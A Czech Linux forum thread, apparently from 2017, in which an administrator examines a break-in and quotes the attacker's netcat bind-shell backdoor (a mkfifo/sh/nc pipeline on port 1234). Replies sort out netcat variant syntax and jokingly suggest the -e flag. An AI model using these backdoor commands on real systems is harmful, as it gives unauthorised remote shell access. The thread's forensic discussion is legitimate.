Portál AbcLinuxu, 4. května 2025 23:14

Dotaz: netcat a zadní vrátka

30.3.2017 17:07 Karel Marhoul
netcat a zadní vrátka
Přečteno: 469×
Odpovědět | Admin
Zdravím,

nedávno jsem vyšetřoval hackerský průnik na jeden starší linuxový server. Zaujal mě způsob, jakým si útočník pod neprivilegovaným uživatelem otevřel zadní vrátka - shell, na portu 1234:
rm -f /tmp/f
mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f
Když jsem však totéž nyní zkoušel na svém Debian Stable serveru, příkaz se chová tak, že netcat otevře náhodný vysoký port (místo portu 1234):
kmarhoul@debian:~$ netstat  -nlpt
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:48705           0.0.0.0:*               LISTEN      12546/nc        
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:48886           0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -               
tcp6       0      0 :::443                  :::*                    LISTEN      -               
tcp6       0      0 :::43168                :::*                    LISTEN      -               
tcp6       0      0 :::111                  :::*                    LISTEN      -               
tcp6       0      0 :::80                   :::*                    LISTEN      -               
tcp6       0      0 :::22                   :::*                    LISTEN      -               
tcp6       0      0 ::1:25                  :::*                    LISTEN      -     
A po vzdáleném připojení na tento port výše uvedené havaruje a shell nedostanu:
kmarhoul@debian:~$ cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f
invalid connection to [85.255.X.X] from (UNKNOWN) [95.82.X.X] 27619
Zkoušel jsem to ještě na jiném serveru (také Debian Jessie) a stejné chování, přitom na kompromitovaném serveru to prošlo. Nevíte prosím někdo, čím to může být?
Nástroje: Začni sledovat (1) ?Zašle upozornění na váš email při vložení nového komentáře.

Odpovědi

pepe_ avatar 30.3.2017 17:41 pepe_ | skóre: 48
Rozbalit Rozbalit vše Re: netcat a zadní vrátka
Odpovědět | | Sbalit | Link | Blokovat | Admin
Není to podle verze  ? netcat-traditional , netcat-openbsd , netcat6 pak v novějších verzích třeba je nutné zadávat parametry -p 1234  místo   bez portu.. něco z toho bude pravda podle mne.
30.3.2017 20:56 marian34
Rozbalit Rozbalit vše Re: netcat a zadní vrátka
Odpovědět | | Sbalit | Link | Blokovat | Admin
Neodpoviem, ale sa spýtam ako si sa vzdialene pripojil na ten port?
30.3.2017 21:07 mhepp
Rozbalit Rozbalit vše Re: netcat a zadní vrátka
Prvně předpokládám, že localhost je pouze pro ilustraci příkazu, ne reálná adresa. Potom připojení je jednoduché:

telnet IP.AD.RE.SA 1234
30.3.2017 21:56 marian34
Rozbalit Rozbalit vše Re: netcat a zadní vrátka
ok, dík, ale skôr

netcat host port
30.3.2017 22:00 marian34
Rozbalit Rozbalit vše Re: netcat a zadní vrátka
U mňa funkčné
~$ netcat -h
OpenBSD netcat (Debian patchlevel 1.89-4ubuntu1)
This is nc from the netcat-openbsd package. An alternative nc is available
in the netcat-traditional package.
30.3.2017 22:52 Michal Kubeček | skóre: 72 | Luštěnice
Rozbalit Rozbalit vše Re: netcat a zadní vrátka
U openbsd netcatu je syntaxe pro listening "netcat -l 1234", ale u některých jiných verzí "netcat -l -p 1234".
2.4.2017 00:16 pc2005 | skóre: 38 | blog: GardenOfEdenConfiguration | liberec
Rozbalit Rozbalit vše Re: netcat a zadní vrátka
Jj netcat používá "-l ... -p" pro server a nic pro klienta.
30.3.2017 22:50 Michal Kubeček | skóre: 72 | Luštěnice
Rozbalit Rozbalit vše Re: netcat a zadní vrátka
To je dost předčasná otázka v okamžiku, kdy má tazatel problém s tím, že mu ani ten listening socket neposlouchá na požadovaném portu.
2.4.2017 00:18 pc2005 | skóre: 38 | blog: GardenOfEdenConfiguration | liberec
Rozbalit Rozbalit vše Re: netcat a zadní vrátka
Odpovědět | | Sbalit | Link | Blokovat | Admin
Teda ale slabý útočník. Mělo by stačit použít přepínač -e (jako execute) :-D.
Intel meltdown a = arr[x[0]&1]; karma | 帮帮我,我被锁在中国房

Založit nové vláknoNahoru

Tiskni Sdílej: Linkuj Jaggni to Vybrali.sme.sk Google Del.icio.us Facebook

ISSN 1214-1267, (c) 1999-2007 Stickfish s.r.o.